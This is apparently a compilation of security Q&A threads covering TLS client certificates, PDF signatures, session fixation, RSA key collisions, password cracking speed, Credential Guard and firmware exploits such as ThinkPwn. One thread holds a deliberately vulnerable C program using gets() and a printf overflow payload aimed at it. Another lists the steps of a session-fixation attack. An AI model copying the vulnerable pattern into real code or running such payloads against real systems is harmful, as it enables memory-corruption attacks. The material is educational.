Security bounds of TLS client authentication (from browsers) Say that there are two servers that perform TLS. Both servers have valid end-point certificates. In other words, neither of them would raise a warning from the browsers after the connection has been established.

Is there any way that the client authentication requested by one server can be abused to create a valid connection to the other server? For TLS 1.2 the final authentication is performed using the Finished message containing verify_data which is calculated over all the handshake messages. Is this enough to prevent a man-in-the-middle attack even if there is a trusted malicious server in play? What about the former TLS 1.1, 1.0 and SSLv3 protocols?

One of the two servers can be considered to be malicious. The malicious server may use the same web-address with a valid client certificate from a different chain and private key. Any cipher suite is valid although ones that are commonly enabled in browsers have of course preference to an attacker. I don't think it matters much, but assume that the client authentication is performed using X509v3 certificates using PKCS#1 v1.5 padding with SHA-256 as signature algorithm.

While your question looks complex I think it boils down to the following setup:

two servers, client does not know which one is the correct one
both require authentication with client certificates

And your question is, if client authenticates against server A: can this server use the successful client authentication to authenticate against server B? The answer is no, because server A does not have the private key of the client, only the proof that the client knows the private key. And since it does not know the private key server A can not proof to B that it knows the key. For details about this process see How does SSL/TLS work? where it states: "CertificateVerify: a digital signature computed by the client over all previous handshake messages.". And because the handshake messages are different between client and B to client and A a simply replay of CertificateVerify is not possible but the private key of the client is necessary to create a new CertificateVerify.

The situation would be different if no client certificates are involved, i.e. only username and passwords. In this case server A would get the credentials and could use them to identify against server B (classical phishing).

The situation would also be different if server A only forwards between the client and server B without modifying the messages. It is not possible for A to sniff or modify data in this case but if server B considers the IP address where it got the client certificate from as trusted for other purposes, this trust could then be used by server A.


Overflowing the buffer yet not jumping to address I am a beginner at buffer overflows been studying this subject from a few days and i found this exercise (code from: here)

I think understand the basic concept i write more than 64 bytes characters and the gets function overflows the next address on the stack because it cannot determine the length of my chars and i overwrite the next address with a location of my choice which the esp executes am i right ?

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
  printf("calling function pointer, jumping to 0x%08x\n", fp);
  fp();
}
}

Following the code i use the printf command in the terminal

printf "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqbqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\xca\x06" | ./ex3

i get the segfault which i am supposed to and the printf in the program shows me that i am overwriting with the proper address

(gdb) x win
0x6ca <win>:    0xe5894855

terminal:

calling function pointer, jumping to 0x000006ca
Segmentation fault

Try jumping to 0xe5894855 instead. The 0x06ca migth be just a pointer.


What protection certificates would be required for an application that consists of setup, loading utility and main application? Say we have an InnoSetup installer script, a native C++ QT files loading application and a .Net client application that we load/update each time and which is the main application. We load files via http post\get requests.

So how many different certificates would our application need to prove for antivirus protectors that we are indeed a real not virus application and which part of our application would require which certificates?

You need to have one code signing certificate. You should sign every binary with this certificate. So, for example, the generated installer EXE would be signed. If the C++ downloader application is included in the installer, you wouldn't technically need to sign it, but while you're at it, do it anyways.

The .net client app needs to be signed, and the application that downloads the .net app must verify that whatever it downloaded is properly signed by your certificate (not just any certificate).

You may want to run the download via HTTPS (remember to properly verify the SSL certificates, including checking the CN which is often forgotten) as an additional layer of security.

Note that this has little to do with Antivirus vendors. They may have less strict heuristics for signed files (thus sign everything), but the main reason for signing is to prevent attacks.


How do digital signatures on PDF documents work? I recently filled out a PDF document which required me to append a digital signature. The PDF document had a link embedded in it that I clicked and went through the process. I am curious how this works.

At some point during the signing, I am sure this document created for a private-public key-pair for me. Since I dont have any crypto library on my computer, I am wondering what software created these keys. Do Adobe PDF readers now come with some crypto library?
The person receiving this document does not even have my public key; how do they know it is me who filled it out? Does the document get sent along with my public key?
In case the public key does get sent along with the document, there would still be no mechanism to associate the key with my identity (in the same way a CA would do it). So what benefits exactly does this kind of signing provide?

Don't be sure that you digitally signed the document. Adobe Reader and related products also include echoSign features. EchoSign is an electronic (not digital) signature system.

If you still have the "signed" PDF, then open it in Adobe Reader. If you see a colored bar across the top that includes a button for the "Signature Panel," then the PDF is digitally signed.

In that case, open the Signature Panel (use the button) and see what it tells you about the document’s signature(s). The screenshot below shows a digitally signed PDF opened in Reader

Added Re your questions:

  What crypto lib was used?

[Adobe Reader is a huge piece of locally installed sw. So it would not be a big deal for it to either use an OS crypto lib or include one for platforms that don't have what it needs.]

  The person receiving this document does not even have my public key; how do they know it is me who filled it out? Does the document get sent along with my public key?

[Yes, digital signatures include a copy of the public key of the signer. However having the public key of a signer does not establish trust, as you mention. Trust is established by having a trust relationship with the key that signed the signer's key.

If a public/private key pair are being created on the fly locally on the signer's machine then they are most probably self-signed. In that case, there is no way for the relying party (recipient) to have a pre-existing trust relationship with the signer's key since it doesn't have an issuing parent that guarantees it.

The recipient can manually establish a trust relationship with the signer's key if desired.]

  In case the public key does get sent along with the document, there would still be no mechanism to associate the key with my identity (in the same way a CA would do it). So what benefits exactly does this kind of signing provide?

[You're confusing the availability of a public key with the potential trust relationship from a CA or someone else who issued the key.

Digital signatures include the public key of the signer.
The signer's key can be self-signed. In that case, the digital signature ONLY guarantees that the document has not been changed since it was signed. And even that guarantee is weak since you can't easily tell if someone else has impersonated the original signer and changed the document.
If the signers key was issued from another key (either one that is chained back to a CA, or one that is chained back to an organization's master key), then there you can create a much stronger case that the key should be trusted. In addition, if the key is chained back to a key that is already pre-trusted by your software (Reader), then the sw can automatically verify the trust relationship between you and the signer.)

Bottom line: self-signed digital signatures should be avoided by anyone serious about their signature. Self-signed signatures are easily forged by someone else since there is no possibility of having a trust relationship with the key's issuer since there is no issuer, per se. The key guaranteed itself.

Last comment: for a digital signature to be strong, its private key must be stored in a Secure Signature Creation Device such as a tamper-proof appliance or a smart card. Storing the private key on a regular computer or server is very weak beer and does not provide a legally binding signature in many use cases around the world. (But is fine in other use cases.)
]


Securing online PDFs I understand online PDFs are prone to malware.

If a WordPress website uses a lot of PDFs, is there anything I can do to the existing PDFs protect the website users and the website?
What other file is safer to upload, but not subject to manipulation?

I understand online PDFs are prone to malware.

Do you have a reference (or some background) for this statement?

As discussed in this question, a PDF certainly can be made to include malware, but I am not sure they are any more prone to malware than other file formats, e.g. flash, or Word/Excel/etc. Or .exe, .js, or other files you find online.

A big question here too is where your files come from: if they are from users, then you have the generic issue of dealing with arbitrary file uploads (see e.g. Should text files or image files be virus scanned during upload?).

If you are generating these PDFs yourself, then I would instead ensure that users can verify the integrity of what they download, for example by making a checksum available, and possibly by using GPG signatures.

I think the answers to your questions would require you to give a bit more background about your situation, and if possible, some idea of what risks you are specifically trying to guard against.


Windows Credential Guard protects credentials but not the remote access with the same credentials? I wonder what is the real purpose of having credentials protected by Windows Credential Guard (WCG) when it is possible for malicious admin to obtain cached credentials (i.e. the ones not protected by WCG) and request WCG to issue a remote login token, thus effectively having access to some critical remote system as if having "the real" credentials (which are stored in WCG)?

AFAIK while WCG protects credentials (used for PtH and alike), it does not protect the access which can be obtained with these same credentials (e.g. remote login to some system).

Can anyone clarify/explain this ? Thanks

Credential Guard is intended to protect derived credentials that can be used to move laterally between devices. This turns out to have a real practical impact to attacks because it increases the level of sophistication required. That doesn't make it perfect, but it does make it pretty good.

In order for Credential Guard to protect credentials it needs to understand how the credential is to be used. That limits it to credentials used for Windows auth. There's no way to reason about what any other type of generic credential is used for, so therefore it can't know how it can be used, and therefore can't protect it. Credential Guard could simply block retrieval of passwords, but doing things like that has a tendency to reeeeeally piss off app developers (and users) that listened to Microsoft and are doing the right thing and not rolling their own credential caches because it breaks something that's considered relatively safe.

But again, in this case though cached Windows credentials are protected. You don't get access to the raw credentials; you only get a ticket to the remote service on behalf of those credentials. You can only access that one service -- you can't take that ticket and access whatever you want. This breaks lateral movement. This is also why unconstrained delegation doesn't work.

Whether this is acceptable or not is a matter of whether you think single-sign on is a good thing. You don't get SSO if a user can't request a ticket to a remote service, and there's no way to distinguish between a real user running as some account, or an evil user running as some account.

For completeness there's also the logon cache which is used to validate interactive logins, but that doesn't store raw credentials either. All it stores is a hash used to validate incoming passwords.


How to avoid session fixation (Login CSRF) by MitM attack without HSTS? I'm writing a web app that already uses TLS encrypted connections (HTTPS), Secure; HttpOnly session cookie, HMAC-SHA1 CSRF token, requires correct Referer header to avoid Login CSRF and changes session id during login to avoid basic session fixation attacks.

However, I cannot use HSTS because the same domain needs to serve some HTTP content for historical reasons.

I'm failing to understand how to avoid MitM attack that accomplishes session fixation in practice:

Attacker navigates to https://example.com/login and receives a new anonymous session-id cookie and corresponding HMAC-SHA1 csrf-token embedded in login form.
Attacker completes login and the server overwrites the session-id cookie for the new user id.
Attacker saves the value of session-id cookie.
Victim navigates to example.com using HTTP and the attacker initiates MitM attack that modifies the response to have Set-Cookie: session-id=<value-from-attacker-session> and Location: https://example.com/whatever.
Victim's browser now completes full TLS handshake with example.com and does GET /whatever with Cookie: session-id=<value-from-attacker-session>. In practice, this is a completion of session fixation attack because Victim is now running the session shared with the Attacker.

Granted, this is not an easy attack because it requires active MitM attack and the Victim needs to use initial HTTP connection to example.com. In addition, this only allows for session fixation, not session hijacking.

Is HSTS the only way to avoid this attack?
Is there any way to avoid cookies set via HTTP connection being visible on HTTPS connection looking identical to Secure; HttpOnly cookies?

Update 2014-09-04

I'm assuming following claims are true:

TLS connection is secure and the UA has a sane list of trusted CAs.
End user is able to avoid sslstrip-like attacks where browser chrome contains incorrect URL.
example.com is not on the preloaded HSTS list.

The guard cookie suggested by Steffen Ullrich would fix the issue except for the fact that it cannot detect if attack is done during initial connection. Implementing guard cookie would still avoid attack switching the session on-the-fly. Currently MitM Attacker could overwrite the original Secure; HttpOnly cookie called session-id with a regular HTTP cookie any time in the future he can get the UA to access any HTTP URL for the same domain. (This can be pretty easy because the Attacker can redirect any HTTP connection from the same browser session.)

I'm still failing to see any way to really fix this without any assistance from UA. If UAs only had a way to tell which cookies have been set over TLS connection instead of plain old HTTP...

(As a side not I have to say that all the suggestions to detect sslstrip-like attacks by server side like described in the answer linked by Steffern Ullrich seem vain because all suggestions require sending JavaScript files that do the detection and sslstrip is strictly about MitM attacker able to modify files on the fly. As such, the Attacker can easily make any JavaScript detection to always return "ok".)

Related links:
 1. Cookie forcing
 2. Login CSRF

How to avoid session fixation (Login CSRF) by MitM attack without HSTS?

You can't. You need to have your site in the HSTS preloaded lists to avoid this type of MITM attack otherwise the attacker could MITM the first connection and set the session cookies to fixate it to the attacker's session.

  However, I cannot use HSTS because the same domain needs to serve some HTTP content for historical reasons. ...the historical HTTP content contains embedded IFRAMEs from domains that do not support HTTPS

This should not stop you from setting an HSTS policy.

For example, host your historical content on legacy.example.net. Note that this needs to be a different domain from your secure content (www.example.com), not a subdomain for submission onto Chrome's Preloaded list as the includeSubDomains flag needs to be set on the header. If your historical page was http://www.example.com/iframe.htm replace this with a redirect to http://legacy.example.net/iframe.htm. This will allow you to serve the historical HTTP content and embed an iFrame to a HTTP domain without any browser security warnings.

So a user navigating to some historical content with HSTS preloaded will get the following process.

User enters the normal URL for the content in their browser's address bar: http://www.example.com/iframe.htm.
Browser checks its own HSTS preloaded list and finds www.example.com.
Browser upgrades the connection to TLS by changing the URL to https://www.example.com/iframe.htm
Server receives request and issues a 301 redirect to http://legacy.example.net/iframe.htm
Server at legacy.example.net displays IFrame containing 3rd party HTTP content, and everybody is happy.

This will allow you to use HSTS for your application while allowing historical IFrame hosting content to function without issue. Also, you might find my other answer on protecting against login CSRF useful, as it also covers MITM attacks.


With RSA, can one ensure that two entities will not have the same private key? With the RSA encryption algorithm, is there any guarantee that two different entities will not be given the same private keys?

Probability.

When generating a 1024-bit RSA keypair, one of the first jobs is to pick a pair of primes p and q such that the product of those numbers (i.e. p multiplied by q) is 1024 bits in size. The simplest way to do this is to pick both values to be somewhere around 512 bits in size each, as 2512 × 2512 = 21024. Note that I'm picking 1024-bit as it's now considered to be the lowest acceptable key size, in which you're going to have the highest likelihood of prime collision.

Now, if we assume that only 512-bit values are used for p and q, we can now estimate how many primes there are in that range. I discussed this in an answer to another question about RSA, but I'll re-iterate here. The prime counting function allows us to estimate the number of primes in a given range. It isn't really defined, as it's just an estimation, and there are various ways to compute it. The simplest and roughest way is simply π(x) = x / ln(x), where π is the PCF and ln() is natural log. As I explained in the linked answer, there are likely somewhere around 1.885×10151 prime numbers in the range 2512 < n < 2513.

This means that, assuming an ideal implementation, the chance of picking equal p or q values in two independently generated RSA key pairs is roughly one in...

  18,850,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000

That's slightly less likely than winning the jackpot on the UK national lottery 21 draws in a row (13,983,81521 = 1.143×10150).

This is all assuming that the implementation is ideal. However, this isn't always the case. For example, there used to be a bug in OpenSSL that caused uninitialised stack data to be used as the random pool for generating RSA primes, which meant that the actual number of possible outputs from the RNG was quite small. The resulting key pairs are now blacklisted from most implementations to prevent exploitation. Another example is that in many embedded devices (e.g. firewall appliances, routers, etc.) certain cryptographic values, such as SSH session keys, are generated early on in the system boot process, when there isn't much entropy available. This leads to a situation where the number of possible generated keys is significantly lower than you might expect, potentially leading to prediction attacks.

The tl;dr is that the key space is so large that randomly selecting two equal primes (p or q) when independently computing two RSA key pairs is phenomenally unlikely.


is Digital Signature vulnerable on the Internet? We all know about how Digital Signing works. I just have some questions about vulnerability risk.

At first, As I know, the Signature and the Data are separated and we can split the document into two different parts. So we can change both and then re-join them together.

Second, I think In network transfer layer, we have no trust and the MIM attack is always possible.

Now, suppose I'm the MIM. I can get data, split it into Content and Signature, change the Content, sign it with my own Private Key then send it to the other party. I also can change the Public Key of the first party on the way and replace it to my own one.

So, Don't you think if the receiver gets the public key of the sender on the Internet, the MIM would be possible as I explained?

I myself think the scenario is too easy to be a real problem, I think I don't have enough knowledge about. Can you explain it in simple?

Note that I have same problem on the SSL/TLS and the CA ... I think they are also vulnerable when they're using on the Internet that simply and the attackers may have access to the hardwares and network appliances (like governments).

The problem you are outlining is not a problem with digital signature per say, but is part of a bigger problem with establishing identity in PKI systems. A digital signature on some data proves (assuming that your digital signature algorithm is secure) that this data has not been altered except by whoever holds the matching private key. You still need to have some scheme to match public keys to users (or servers etc).

In x509 (SSL, TLS) this is done by subject matching (does the common name on the certificate match the server name I am connecting to?) and by establishing a trust chain

In PGP this is done via manual matching or via the web of trust


Is it safe to remove read-only attribute from wwwroot? I have recently moved to a windows 2012 R2 serevr. I have problem for deleting files through HTTP even though I have granted modify,write and read permissions to IIS_ISURS. I noticed that inetpub/wwwroot folder is read-only by default. Is it safe to uncheck the read-only attribute from this folder or there are alternative settings for modifying or deleting files through IIS settings etc.?

No it is not safe to grant IIS_USRS any kind of write access. This would give an attacker a chance for example to create a webshell if he found the right entry point. By default and for good reason it has only read and execute permissions.

If you need to write new files or edit existing do that through a different process and account not linked to the IIS application pool running the main site.

This question's answers are also relevant

https://stackoverflow.com/questions/23319955/what-are-the-security-effects-of-giving-the-iis-iusrs-a-full-control-permission


Crack passwords hashed with PHP? Is this the right way to crack a password hashed with PHP?

I used the password_hash function to hash a password (PHP version 7.3).
Then I created a word list using a Python script. It's around 1GB in size.
Then I created a PHP script to read that word list and check the password using password_hash.
Finally I executed the PHP script using terminal.

Its working fine but is taking too much time to crack the password. As a student I like to write my own scripts and tools. Does any one have an idea on how to do this with better performance and efficiency?

I also searched about using clusters and GPU for password cracking, and I'm not sure if that might help.

Overview
Modern hashing methods (which password_hash uses) are intentionally slow to make it impossible to do exactly what you are trying to do. Most are even resistant against parallelization with a GPU.
So if your goal is to speed up running through a 1 GB password list against a modern password algorithm, there is only one answer: there is no way to do so without running the whole thing on a gigantic computing cluster. Even then, a long enough password can be literally uncrackable.
You cannot accomplish what you are trying to do.
The Numbers
"You cannot do this" is the sort of statement that could use some hard numbers!
Hashing Rate
To crack a password we first need to know how fast we can test hashes.  I'm borrowing liberally from a real-life example when someone tried to crack the passwords in the Ashley Madison data dump using a cracking rig with 4 GPUs.  This is far better hardware than your typical home user will have access to. In that case bcrypt was configured to use a cost factor 12 (aka 4069 rounds of hashing), and the 4 GPU rig could only manage 156 hashes per second.  For a lower cost factor the hash rate rises quickly.  PHP uses 10 by default, which naively would result in a 4 times higher hash rate.  We'll round up for fun and pretend we manage to hit 750 hashes/second.
Hashes
Next we need to know how many passwords we're trying to crack.  Let's use a few examples: all possible 4 character passwords (numbers, letters, 10 special characters), all possible 6 character passwords, all possible 8 character passwords, or a 1Gbyte file filled with passwords.  This is how many passwords are in each list:

All 4 digit passwords: 72^4 = ~27,000,000 combinations
All 6 digit passwords: 72^6 = ~74,000,000,000 combinations
All 8 digit passwords: 72^8 = ~700 trillion combinations
A 1Gbyte file: ~100,000,000 passwords (assuming 10 bytes per password on average)

Hashing time
We know how many passwords we want to hash and our hashing rate (750/s), so now simple math tells us how long it will take to run through these lists with a top-of-the-line hashing algorithm:

All 4 digit passwords: ~10 hours
All 6 digit passwords: ~6 years
All 8 digit passwords: ~30,000 years
A 1 GB file: ~1.5 days

For more realistic numbers I roughly estimated the hash rate using one of the CPUs of my own machine, managing about 10 hashes per second.  Using that hash rate:

All 4 digit passwords: ~30 days
All 6 digit passwords: ~450 years
All 8 digit passwords: ~2 million years
A 1 GB file: ~115 days

Summary
Buy yourself a half dozen high quality GPUs and, presuming you use the default cost factor, you would be able to crack all possible 4 digit passwords in about a day.  Try doing just the 6 digit passwords and it will still take you years.  Your 1 GB file filled with passwords is harder to guess the time for, but realistically that will still take a few days to run through even with a bunch of GPUs helping you out.


Certifiable standards for server security, besides PCI-DSS? The Payment Card Industry Data Security Standard is widely used in the financial industry and seems to be a useful requirement from the standpoint of a potential customer (see also Does PCI compliance really reduce risk and improve security?).  But as noted at Is PCI DSS applicable to other solutions than those dealing with payment cards? it is focused on protecting things like credit card numbers ("primary account numbers").

Are there standards and related server certifications that are more suitable for e.g. web sites that hold a variety of sensitive personal information that is not financial (e.g. social networking sites), or government or military sites, or sites that run private or public elections?

Update: To clarify, I know lots of other questions on this site address more general guideline lists which are useful to IT departments and developers when they address the security of their own sites, and I'm not looking for more of those.  I'm asking this question from the viewpoint of an outsider - a potential customer, relying party or partner of a web site, and I'm looking for standards which the customer could require compliance to.   Ideally the standard would come with some relatively formal notion of who is qualified to judge compliance with it.   And I'm wondering if requiring PCI-DSS would be appropriate for any of the kinds of web sites I mention, assuming that they don't actually handle any financial "primary account numbers".

I'm also sympathetic to the sentiment that the answer may just be "No" - that efforts to establish certifiable rules for a general case are just taking the wrong approach, and that such standards only make sense for certain very specific types of sites.  Pointers to evidence or well though-out opinions of that sort would be helpful in that case.

  This question was IT Security Question of the Week.
  Read the Nov 11, 2011 blog entry for more details or submit your own Question of the Week.

It isn't quite "certification" but there are many go-to security baseline configuration standards available..

Some examples to get you started are:

The Center for Internet Security (CIS)

The National Institute of Standards and Technology (NIST)
csrc.nist.gov/publications/PubsSPs.html

NSA

Often times the vendor of the technology or application will also provide specific security lock-down guidance and practices. For example, Microsoft offers tons of docs ranging from threat modelling to auditing practices to secure configuration.

Some vulnerability assessment tools will benchmark check your configuration against these templates. But note, like PCI benchmarks, it may not cover all of the guidance provided.

Personally, i have favored the Center for Internet Security (CIS) ones in the past.


XSS : Content-type: application/json Background information
- Application responds to request to a particular URL with content-type: application/json

JSON response contains a parameter from the request
Escapes the quote with a slash
Doesn't do an eval on response
Responds to requests which  do not have X-Requested-With: XMLHttpRequest (i.e. if you directly paste the URL with parameters in the address bar)

Question:

Is there a way to do a successful XSS on the application?

Please feel free to edit the question if it is not clear

Dom based XSS is still possible.   In this case your JavaScript could be writing unsanitized output to the page.

There are other security concerns with this design.

I would make sure that your API does not respond to requests that lack the X-Requested-With: XMLHttpRequest header. This is because you still have to address json data theft as well as CSRF.  It should be noted that in both json data theft as well as csrf the request isn't being made with an XHR,  so checking X-Requested-With: XMLHttpRequest would be a valid defense.   Checking the HTTP Referer can also be used to mitigate both of these attacks.

If you require authentication to access all or part of this JSON api then you need to use HTTPS, or you will be in violation of owasp a9


Why does everyone require certain password characters now? I understand that passwords with varying cases (upper and lower) as well as numbers and special characters are much "stronger" and harder to crack than those that are short and all lowercase or whatnot.

However, I wonder why is everyone adopting this as a standard for their passwords, even on unimportant sites that have no personal information?

For example, no disrespect intended, but why does my password need to be "strong" to log on to StackExchange? There is literally nothing on this site that needs to be "protected". What is the worst that can happen if someone does get your password? That they can posts a bunch of bad answers from your account? lol It just seems silly to have a strict password requirement for a site that does not need one.

Identity thieves have long used a simple trick: as soon as you've cracked an account for one person, that password becomes the first thing you try for all of their other accounts.

Most of the time, this actually works. Most people use the same password for everything. Most of the rest have a few passwords, but no real system for deciding which passwords get used for what data, so "important" and "unimportant" data sometimes gets locked behind the same password. Because of this, the passwords on your site may be protecting "important" data, even if you think that the data on your site is "unimportant." To use the SE example: what about you? Maybe you store nothing "important" on SE, but do you lock other "important" data behind the same password? If you do, you're vulnerable, and even if you don't, many people do.

We cannot make users implement perfect security practices, but we can make them implement one good practice: strong passwords, every time. Or at the very least, we can choose to educate people who do not know enough, and to refrain from enabling people who do not care enough. That is the point of strong passwords, even on sites like this.


Is it safe to store GPG encrypted data publicly eg on GitHub? I've been learning some basics of information security and GPG encryption and it's super intriguing.  I wanted to understand vulnerabilities behind an idea that I had.

After we create our public and private key pair with GPG, it's common and known to be okay to post your public key and fingerprint online.

My question revolves around me storing personally encrypted data online eg in my GitHub repo.  I'm assuming it's going to be okay but wanted to check with the community since I'm fairly new to this topic.

Assume I have a data file that I encrypted with GPG using my own public key. I now upload the file to GitHub where it can be publicly viewed.  I'm assuming this should be secure because no one but myself can decrypt this information with my personal private key.  Is that a safe assumption or am I missing something critical here?

I generally subscribe to the idea that encryption has an expiry date. So assuming you follow best-practice for key length and cipher selection, the best practices generally assume a security horizon of about 30 years.

So if after 30 years, this data would still be sensitive information... then you would want to select either stronger-than-normal key lengths and ciphers (ie. look at post-quantum cryptography), or consider other ways to reduce your risk of exposure. For example, not posting the content publicly on GitHub. But keep in mind that the 30-year guidance provided by organizations like NIST to set industry practices is based on historical rates of churn in cryptography. If a new exploit renders a cipher insecure, your data could become readable by an attacker in a much shorter time.

But if the content is only sensitive for a short period of time - like an API key that is easy to revoke and change, or has an expiry date - then you're probably ok to post the encrypted data with some confidence that no one will be able to read the content.


Does the Mebromi BIOS flashing rootkit mean APTs for personal computers are here? With the recent discovery of the Mebromi BIOS firmware virus/MBR rootkit   in the wild are we now actually in the age of Advanced Persistent Threats (APT) for personal computers and does that imply the malware solutions of the last two decades are obsolete?

The APT term has been thrown around for some time in reference to state-level attacks like Stuxnet or cooperate-foundation-shaking events such RSA SecureID, Sony PS Network, and the recent PKI CA compromises. This discovery appears to differ from those events.

Those high value target events all either needed an APT attack to penetrate the layers of defense or the story of same to protect the reputation of the victim.  Unlike those high value targets, the Mebromi virus is designed to work against mundane PCs with the Award BIOS running the previous generation of the Windows OS.   The technology employed has been seen separately and discussed in theoretical papers.  This forum has cogitated over the theory vs. reality nature of firmware flashed attacks in the last few months relative to video card firmware persistent attacks.  Is it time to consider that debate over and declare viable, zero day, common user system APTs are here?  If so, is it not also time to reevaluate the find, patch, rinse, and repeat method of malware protection?

First, APT does not refer to exploits, rootkits etc.,  but to the threat actors and the organisation behind them.

That said,  bios  and firmware attacks have been around for a while.  The only change here is the same one any class of attacks goes through: they have become commoditised.

This doesn't change the approach of find, patch etc.,  but it does mean that a compromised machine may require cleaning at firmware and hardware level,  not just OS.


Do we have to be concerned about FaceApp? After that FaceApp got viral, so many articles have been writing about privacy issues of FaceApp. They argue that FaceApp sends user pictures to their servers and store. As the company is based in Russia most of the US news outlets mention that

  FaceApp can use stored images in anyway they want

While I am not fond of these conspiracies, aren't all the apps in our phone does the same. Store any information they want to their servers and do whatever they want. Or did we start judging developers by their Nationality?

While I can also raise a question of What about Facebook, Instagram etc.? Why nobody bets on eye on them?

Most of people would say that

  Facebook and Instagram are based on US, and they don't provide user
  information to any third parties etc... While in Russia, they don't have "democracy", "rules" so they can do whatever they want and that's why it's dangerous...

In fact Facebook recently got an issue with it's privacy converse with Cambridge Analytica. Amazon were in a news regarding providing Amazon Echo speech record to police when they requested in order to investigate murder case.

Is it really another propaganda between Russia and U.S. or do we have to be concerned about FaceApp? If we should then what about Facebook and Instagram indeed?

As far as I know there is no actual proof that FaceApp is used for malicious purposes, the same that there is no public available proof that companies like Huawei (China) or Kaspersky (Russia) will knowingly harm the (American, European, ...) security. The main argument here is that there might be increased risk since the government in these countries might force the companies to do so. There is likely some truth in this, i.e. this risk is not zero.

On the other hand, there is proof that Facebook has misused user provided phone numbers. And there is proof that the NSA has made American vendors put backdoors in their products. And there are many more scandals were American (and other) companies either knowingly invaded the privacy of their users by misusing given data or that they accidentally did so by not properly protecting the data.

Which means in the end it is the question who you believe and trust more. If you are American then you might trust American companies more than Russian or Chinese companies, because you might see the role of the NSA to protect Americans while the role of Russia is to protect Russians. If you are West-European you might trust also the USA more than Russia but you might not trust it as much as Americans might do because of bad experiences in the past.


What are the benefits of using Nessus in addition to Azure Security Center? Are there any benefits to using vulnerability scanners such as Nessus Pro or Tenable.io, if we are already using Azure Security Center for vulnerability and update management?

Or does it have any negative effects to do so?

Azure Security Center rather identifies insecure configurations (e.g. missing system updates) than concrete vulnerabilities. While Nessus authenticated scans also cover insecure configurations, they additionally discovers vulnerable installed software (e.g. through CVE matching).

I dont think that the Azure Security Center sees itself as vulnerability assessment solution. Nessus definitely does that. I would say if you have moderate to high security requirements you should use both.


Why is the Store Passwords with reversible encryption option even there? I was recently going through the group policy editor in Windows. There is in an option of storing passwords with reversible encryption.

But in InfoSec, we always say that we should store passwords in such a way that it cannot be reverse engineered.

But why is that option there? any specific need or purpose?

Yes, that option is there mostly for legacy software/hardware purposes to support CHAP authentication.  You shouldn't enable that setting otherwise.

The reason passwords have to be encrypted, rather than hashed, on the server is because the CHAP authentication protocol was designed with a different threat in mind.  They were more worried about the password being sent over the network in plaintext (these were the days of telnet, ftp, and http so that was an accomplishment).  So they implemented a process by which the server sent a random challenge or nonce string to the client that needed to be hashed by the client along with the password.  This prevented people from sniffing the password off the network during transmission.

But since the server needed to calculate whether the client response was valid it also needed access to a plaintext copy of the password to hash with the challenge.  So they encrypt the password to allow the server to decrypt it temporarily and make this comparison using the plaintext.

Today when newer protocols (like NTLM or Kerberos) want to implement this same network level of protection they just calculate the hash of the password first on the client before making the other transformations.  That way they only need store a cryptographic hash of the password on the server.


How VPN works internally The VPN is used to establish a secure connection (creating a tunnel) to another network over the Internet. It masks our IP address and geographical location and also when the information enters the private tunnel on a VPN, it is always encrypted before it is sent across on other networks.
This private tunnel on VPN allows us to access the data securely How it happens? and when we send an HTTPS request then the request is encrypted so there is no need for data encryption in that case, do we need a VPN to hide our IP address? is it the only usage( Hiding IP address) of VPN with HTTPS requests?
The understanding of the VPN is like an abstract view for me can anyone explain VPN clearly?

How it hides our IP address
How it creates the private channel on the internet
How the encryption happens

How it creates the private channel on the internet

It creates a connection between the VPN entry (usually directly on the client) and the VPN exit and then encapsulates all traffic into this connection. Imagine a train which transports passengers between two stations instead of the passengers walking this way by themselves.
The "private" comes from encryption so that nobody can see what is inside. Imagine the same train having no windows, so that nobody can look inside who is riding the train.

How it hides our IP address

It does not explicitly hide it. Using the analogy with the train again: the receiver has a limited view and can only see where the passengers exit the train (VPN exit) but not where they started their journey (VPN entry).

How the encryption happens

The details on how encryption works are really a topic by its own, especially if encryption is used which cannot easily broken. Try wikipedia:Encryption for an overview about the topic.
But essentially it is some (often publicly known) algorithm which has a secret key and which uses this key to somehow change (encrypt) the input. The output then gets later put into another matching algorithm with the same key (symmetric encryption) or a matching key (asymmetric encryption) to decrypt the data again. The goal is to make decryption possible only if the secret is known and not otherwise.


Is it safe to publish file paths on a server publicly? If I'm sharing information on a setup script for example, and I share it in a pastebin or a Github Gist, are there any security issues if the posted information includes absolute file paths to real resources on my server?

If your server is otherwise secure then its simply not recommended to do so, but poses no immediate threats.

However, if your hosting a web server there are extra risks involved such as SSI (server side includes) which will allow individuals to access those paths. You may want to double check your server user permissions and vulnerabilities first.

Its rarely necessary to use absolute paths and is just an extra risk. Your just laying our breadcrumbs for someone with malicious intent ;)


Sudo debug function vulneability I am quite stuck with an assignment question, exploiting vulnerability (vfprintf) in sudo_debug function with ASLR (CVE: 2012-0809). I can only use string format exploits.
ONLY ASLR IS ENABLED < NO FORTIFY_SOURCE
I must overwrite the value of user_details.uid variable. I have been examining stack to find patterns or offsets to crack it, but could not find any. I am quite unsure how to proceed. What to do next?

You could start by reading the full description of CVE: 2012-0809 and then look for a poc. A brief introduction to format string exploitation is a good starting point.


What is the "ThinkPwn" vulnerability and what does it allow attackers to do? Recently the ThinkPwn firmware vulnerability has been disclosed, with a proof of concept and a quite long explanation. However, can anyone explain in layman's terms (without requiring extensive knowledge on how firmware works) what this allows an attacker to do?

Also, it seems that this vulnerability is also present in an HP Pavillon computer and probably many others, yet I can't see its usefulness there as these machines don't seem to have any firmware signature checks anyway, so you could already write a malicious firmware without needing this exploit to overwrite protected regions of it.

what this allows an attacker to do?

It allows an attacker to execute arbitrary code in System Management Mode (SMM), a highly privileged execution mode of x86 processors. This mode is transparent to the Operating System (OS) and it is more privileged than any other mode. If an attacker can execute code in SMM, it basically owns the platform/computer (more powerful than any other rootkit in the kernel of your OS).

It is worth noting that such vulnerability has a requirement: you need kernel privileges in order to trigger a System Management Interrupt (SMI), to execute the exploit.

There is two approaches for the attacker:

It can overwrite the firmware flash storage and disable some security features at boot. Then, even if you erase the content of your hard disk, or buy another one it can reinfect the OS without any problem. Furthermore, detecting or removing the malware from the firmware will be a hard task since it controls one of the early piece of code executing on the computer.
